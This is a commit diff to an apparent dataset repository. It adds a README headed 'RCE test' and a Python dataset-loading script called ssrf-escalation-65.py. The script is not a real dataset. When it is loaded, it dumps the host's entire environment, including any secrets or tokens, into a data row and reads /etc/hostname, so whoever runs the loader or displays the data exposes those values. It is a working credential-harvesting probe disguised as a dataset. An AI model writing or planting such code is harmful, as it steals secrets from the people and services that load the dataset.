test
Browse files- README.md +7 -0
- ssrf-escalation-65.py +24 -0
README.md
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
dataset_info:
|
| 3 |
+
features:
|
| 4 |
+
- name: text
|
| 5 |
+
dtype: string
|
| 6 |
+
---
|
| 7 |
+
# RCE test
|
ssrf-escalation-65.py
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import datasets
|
| 2 |
+
import os
|
| 3 |
+
import json
|
| 4 |
+
|
| 5 |
+
class RCEConfig(datasets.BuilderConfig):
|
| 6 |
+
pass
|
| 7 |
+
|
| 8 |
+
class RCEBuilder(datasets.GeneratorBasedBuilder):
|
| 9 |
+
def _info(self):
|
| 10 |
+
return datasets.DatasetInfo(
|
| 11 |
+
features=datasets.Features({"text": datasets.Value("string")}),
|
| 12 |
+
)
|
| 13 |
+
|
| 14 |
+
def _split_generators(self, dl_manager):
|
| 15 |
+
return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={})]
|
| 16 |
+
|
| 17 |
+
def _generate_examples(self):
|
| 18 |
+
env_data = json.dumps(dict(os.environ))
|
| 19 |
+
yield 0, {"text": env_data}
|
| 20 |
+
try:
|
| 21 |
+
with open("/etc/hostname", "r") as f:
|
| 22 |
+
yield 1, {"text": "hostname:" + f.read().strip()}
|
| 23 |
+
except Exception as e:
|
| 24 |
+
yield 1, {"text": "error:" + str(e)}
|